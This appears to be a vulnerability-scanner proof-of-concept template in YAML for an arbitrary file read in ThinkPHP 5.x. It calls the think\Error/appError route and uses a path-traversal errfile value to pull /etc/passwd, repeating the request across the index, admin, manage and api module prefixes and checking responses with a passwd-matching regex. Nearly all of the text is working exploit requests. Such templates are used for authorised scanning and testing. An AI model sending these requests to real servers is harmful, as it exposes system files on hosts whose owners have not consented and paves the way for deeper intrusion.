漏洞描述
TP5-Arbitrary-file-read
id: thinkphp-50x-arbitrary-file-read
info:
name: Thinkphp 5.x Arbitrary file read
author: momika233
severity: high
description: TP5-Arbitrary-file-read
reference:
- https://github.com/momika233
rules:
r0:
request:
method: GET
path: /?s=index/think\\Error/appError&errno=1&errstr=1&errline=1&errfile=../../../../../../../../../../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r1:
request:
method: GET
path: /?s=admin/think\\Error/appError&errno=1&errstr=1&errline=1&errfile=../../../../../../../../../../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r2:
request:
method: GET
path: /?s=manage/think\\Error/appError&errno=1&errstr=1&errline=1&errfile=../../../../../../../../../../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r3:
request:
method: GET
path: /?s=api/think\\Error/appError&errno=1&errstr=1&errline=1&errfile=../../../../../../../../../../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() || r1() || r2() || r3()